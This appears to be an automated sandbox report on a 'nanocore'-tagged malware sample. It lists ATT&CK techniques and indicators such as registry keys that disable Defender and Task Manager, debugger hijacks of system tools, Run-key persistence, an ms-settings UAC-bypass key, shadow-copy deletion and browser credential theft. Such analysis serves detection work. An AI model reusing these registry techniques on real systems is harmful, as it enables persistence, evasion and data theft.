nanocore | a3d6c68ee68673960d35485b78d06a9804d4e67651c36770c195ffb72062a4fa

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	criptor.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
252	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	criptor.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	criptor.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4272	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	criptor.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1264	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	criptor.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	criptor.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	criptor.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4148	wscript.exe
1704	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	criptor.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	criptor.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5892	sc.exe
4668	sc.exe
1244	sc.exe
704	sc.exe
2388	sc.exe
4252	sc.exe
1796	sc.exe
1876	sc.exe
3520	sc.exe
2940	sc.exe
1548	sc.exe
2700	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
332	cmd.exe
1612	cmd.exe
268	cmd.exe
2076	cmd.exe
3464	cmd.exe
5964	cmd.exe
5284	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4368	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3412	ipconfig.exe
5928	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2812	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1224	vssadmin.exe
5012	vssadmin.exe
312	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	criptor.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134309194849335215"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	criptor.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	criptor.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	criptor.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	criptor.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	criptor.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	criptor.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	criptor.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	criptor.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe\" \"%1\""	criptor.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1696	schtasks.exe
4812	schtasks.exe
5244	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
700	chrome.exe
700	chrome.exe
252	powershell.exe
252	powershell.exe
252	powershell.exe
5316	WMIC.exe
5316	WMIC.exe
5316	WMIC.exe
5316	WMIC.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
1924	WMIC.exe
1924	WMIC.exe
1924	WMIC.exe
1924	WMIC.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4844	WMIC.exe
4844	WMIC.exe
4844	WMIC.exe
4844	WMIC.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe
4168	criptor.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4168	criptor.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	700	chrome.exe
Token: SeCreatePagefilePrivilege	700	chrome.exe
Token: SeShutdownPrivilege	700	chrome.exe
Token: SeCreatePagefilePrivilege	700	chrome.exe
Token: SeDebugPrivilege	252	powershell.exe
Token: SeShutdownPrivilege	700	chrome.exe
Token: SeCreatePagefilePrivilege	700	chrome.exe
Token: SeShutdownPrivilege	700	chrome.exe
Token: SeCreatePagefilePrivilege	700	chrome.exe
Token: SeShutdownPrivilege	700	chrome.exe
Token: SeCreatePagefilePrivilege	700	chrome.exe
Token: SeIncreaseQuotaPrivilege	5316	WMIC.exe
Token: SeSecurityPrivilege	5316	WMIC.exe
Token: SeTakeOwnershipPrivilege	5316	WMIC.exe
Token: SeLoadDriverPrivilege	5316	WMIC.exe
Token: SeSystemProfilePrivilege	5316	WMIC.exe
Token: SeSystemtimePrivilege	5316	WMIC.exe
Token: SeProfSingleProcessPrivilege	5316	WMIC.exe
Token: SeIncBasePriorityPrivilege	5316	WMIC.exe
Token: SeCreatePagefilePrivilege	5316	WMIC.exe
Token: SeBackupPrivilege	5316	WMIC.exe
Token: SeRestorePrivilege	5316	WMIC.exe
Token: SeShutdownPrivilege	5316	WMIC.exe
Token: SeDebugPrivilege	5316	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5316	WMIC.exe
Token: SeRemoteShutdownPrivilege	5316	WMIC.exe
Token: SeUndockPrivilege	5316	WMIC.exe
Token: SeManageVolumePrivilege	5316	WMIC.exe
Token: 33	5316	WMIC.exe
Token: 34	5316	WMIC.exe
Token: 35	5316	WMIC.exe
Token: 36	5316	WMIC.exe
Token: SeBackupPrivilege	5940	vssvc.exe
Token: SeRestorePrivilege	5940	vssvc.exe
Token: SeAuditPrivilege	5940	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5316	WMIC.exe
Token: SeSecurityPrivilege	5316	WMIC.exe
Token: SeTakeOwnershipPrivilege	5316	WMIC.exe
Token: SeLoadDriverPrivilege	5316	WMIC.exe
Token: SeSystemProfilePrivilege	5316	WMIC.exe
Token: SeSystemtimePrivilege	5316	WMIC.exe
Token: SeProfSingleProcessPrivilege	5316	WMIC.exe
Token: SeIncBasePriorityPrivilege	5316	WMIC.exe
Token: SeCreatePagefilePrivilege	5316	WMIC.exe
Token: SeBackupPrivilege	5316	WMIC.exe
Token: SeRestorePrivilege	5316	WMIC.exe
Token: SeShutdownPrivilege	5316	WMIC.exe
Token: SeDebugPrivilege	5316	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5316	WMIC.exe
Token: SeRemoteShutdownPrivilege	5316	WMIC.exe
Token: SeUndockPrivilege	5316	WMIC.exe
Token: SeManageVolumePrivilege	5316	WMIC.exe
Token: 33	5316	WMIC.exe
Token: 34	5316	WMIC.exe
Token: 35	5316	WMIC.exe
Token: 36	5316	WMIC.exe
Token: SeShutdownPrivilege	700	chrome.exe
Token: SeCreatePagefilePrivilege	700	chrome.exe
Token: SeIncreaseQuotaPrivilege	252	powershell.exe
Token: SeSecurityPrivilege	252	powershell.exe
Token: SeTakeOwnershipPrivilege	252	powershell.exe
Token: SeLoadDriverPrivilege	252	powershell.exe
Token: SeSystemProfilePrivilege	252	powershell.exe
Token: SeSystemtimePrivilege	252	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe
700	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4168	criptor.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4168 wrote to memory of 700	4168	criptor.io_chrome.exe	89
PID 700 wrote to memory of 2660	700	chrome.exe	90
PID 4168 wrote to memory of 252	4168	criptor.io_chrome.exe	91
PID 4168 wrote to memory of 1244	4168	criptor.io_chrome.exe	93
PID 4168 wrote to memory of 704	4168	criptor.io_chrome.exe	172
PID 700 wrote to memory of 4368	700	chrome.exe	96
PID 700 wrote to memory of 5040	700	chrome.exe	97
PID 700 wrote to memory of 6004	700	chrome.exe	98
PID 700 wrote to memory of 5040	700	chrome.exe	97
PID 700 wrote to memory of 6004	700	chrome.exe	98
PID 700 wrote to memory of 1080	700	chrome.exe	102
PID 700 wrote to memory of 3836	700	chrome.exe	101
PID 700 wrote to memory of 1080	700	chrome.exe	102
PID 700 wrote to memory of 3836	700	chrome.exe	101
PID 4168 wrote to memory of 2388	4168	criptor.io_chrome.exe	179
PID 700 wrote to memory of 464	700	chrome.exe	105
PID 700 wrote to memory of 464	700	chrome.exe	105
PID 4168 wrote to memory of 1876	4168	criptor.io_chrome.exe	106
PID 4168 wrote to memory of 4252	4168	criptor.io_chrome.exe	108
PID 4168 wrote to memory of 3520	4168	criptor.io_chrome.exe	164
PID 4168 wrote to memory of 1548	4168	criptor.io_chrome.exe	112
PID 4168 wrote to memory of 2940	4168	criptor.io_chrome.exe	181
PID 4168 wrote to memory of 984	4168	criptor.io_chrome.exe	116
PID 4168 wrote to memory of 2700	4168	criptor.io_chrome.exe	117
PID 4168 wrote to memory of 5892	4168	criptor.io_chrome.exe	119
PID 984 wrote to memory of 4120	984	fodhelper.exe	121
PID 4168 wrote to memory of 1224	4168	criptor.io_chrome.exe	122
PID 4168 wrote to memory of 5316	4168	criptor.io_chrome.exe	188
PID 4168 wrote to memory of 4148	4168	criptor.io_chrome.exe	131
PID 4168 wrote to memory of 1696	4168	criptor.io_chrome.exe	132
PID 4168 wrote to memory of 4812	4168	criptor.io_chrome.exe	134
PID 4168 wrote to memory of 332	4168	criptor.io_chrome.exe	139
PID 4168 wrote to memory of 1612	4168	criptor.io_chrome.exe	141
PID 4168 wrote to memory of 5284	4168	criptor.io_chrome.exe	142
PID 4168 wrote to memory of 5964	4168	criptor.io_chrome.exe	143
PID 4168 wrote to memory of 3464	4168	criptor.io_chrome.exe	144
PID 4168 wrote to memory of 2076	4168	criptor.io_chrome.exe	145
PID 4168 wrote to memory of 268	4168	criptor.io_chrome.exe	146
